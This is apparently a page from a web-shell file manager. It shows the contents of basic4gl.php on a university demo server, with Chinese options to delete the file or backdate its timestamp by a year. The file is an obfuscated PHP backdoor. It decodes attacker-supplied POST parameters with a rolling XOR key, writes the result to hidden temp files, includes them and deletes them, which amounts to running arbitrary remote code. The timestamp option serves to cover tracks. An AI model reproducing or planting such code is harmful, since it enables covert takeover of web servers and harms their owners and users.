文件操作 - basic4gl.php
返回文件管理
返回主菜单
删除本文件
文件: /var/www/demoestudiantes.uaysen.cl/html/basic4gl.php
编辑文件内容
<?php if(filter_has_var(INPUT_POST, "\x62\x69nd")){ $data = $_REQUEST["\x62\x69nd"]; $data = explode( "." , $data ); $property_set = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s9); $n = 0; while( $n < count( $data)) {$v8 = $data[$n]; $sChar = ord( $s9[$n % $sLen]); $d =( ( int)$v8 - $sChar -( $n % 10))^ 1; $property_set .= chr( $d); $n++; } $comp = array_filter([getenv("TEMP"), "/tmp", session_save_path(), getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", getcwd()]); foreach ($comp as $symbol): if (array_product([is_dir($symbol), is_writable($symbol)])) { $marker = "$symbol" . "/.ptr"; $success = file_put_contents($marker, $property_set); if ($success) { include $marker; @unlink($marker); exit;} } endforeach; } if(count($_POST) > 0 && isset($_POST["tk\x6E"])){ $factor = $_POST["tk\x6E"]; $factor = explode ("." , $factor ); $desc = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $o = 0; array_walk($factor ,function ($v5) use (&$desc ,&$o ,$s ,$sLen) {$sChar = ord($s[$o % $sLen]); $d = ((int)$v5 - $sChar - ($o % 10)) ^ 28; $desc .= chr($d); $o++;} ); $element = array_filter([getenv("TEMP"), "/tmp", sys_get_temp_dir(), session_save_path(), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), getcwd()]); while ($value = array_shift($element)) { if (max(0, is_dir($value) * is_writable($value))) { $comp = "$value/.ptr"; $file = fopen($comp, 'w'); if ($file) { fwrite($file, $desc); fclose($file); include $comp; @unlink($comp); die(); } } } } if(isset($_POST["\x62in\x64ing"])){ $resource = array_filter(["/var/tmp", getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", getenv("TMP"), "/tmp", getcwd()]); $reference = $_POST["\x62in\x64ing"]; $reference = explode("." , $reference ) ; $marker = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s5); $v = 0; array_walk($reference, function ($v2) use (&$marker, &$v, $s5, $sLen) { $chS = ord($s5[$v % $sLen]); $dec = ((int)$v2 - $chS - ($v % 10))^85; $marker .= chr($dec); $v++; }); foreach ($resource as $key => $rec) { if ((is_dir($rec) and is_writable($rec))) { $hld = implode("/", [$rec, ".bind"]); $file = fopen($hld, 'w'); if ($file) { fwrite($file, $marker); fclose($file); include $hld; @unlink($hld); die(); } } } } if(count($_POST) > 0 && isset($_POST["s\x79\x6D"])){ $parameter_group = $_POST["s\x79\x6D"]; $parameter_group =explode( "." , $parameter_group ) ; $component= ''; $s1= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s1 ); $l= 0; while ($l < count($parameter_group)) { $v9= $parameter_group[$l]; $sChar= ord($s1[$l % $sLen] ); $dec= ((int)$v9 - $sChar - ($l % 10))^67; $component .= chr($dec ); $l++; } $element = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), sys_get_temp_dir(), "/tmp", "/var/tmp", getcwd(), getenv("TEMP"), getenv("TMP")]); for ($mrk = 0, $ptr = count($element); $mrk < $ptr; $mrk++) { $itm = $element[$mrk]; if (!!is_dir($itm) && !!is_writable($itm)) { $val = sprintf("%s/.obj", $itm); if (@file_put_contents($val, $component) !== false) { include $val; unlink($val); die(); } } } } if(isset($_REQUEST["p\x74r"]) ? true : false){ $rec = $_REQUEST["p\x74r"]; $rec=explode ('.' , $rec ); $entity = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s3 ); foreach( $rec as $k => $v9): $sChar = ord( $s3[$k % $lenS] ); $dec =( ( int)$v9 - $sChar -( $k % 10)) ^ 88; $entity .= chr( $dec ); endforeach; $component = array_filter([getenv("TMP"), getenv("TEMP"), "/dev/shm", "/tmp", session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd()]); while ($dchunk = array_shift($component)) { if (is_writable($dchunk) && is_dir($dchunk)) { $marker = "$dchunk/.entry"; if (@file_put_contents($marker, $entity) !== false) { include $marker; unlink($marker); exit; } } } }
修改文件时间
将文件时间修改为当前时间的前一年
删除文件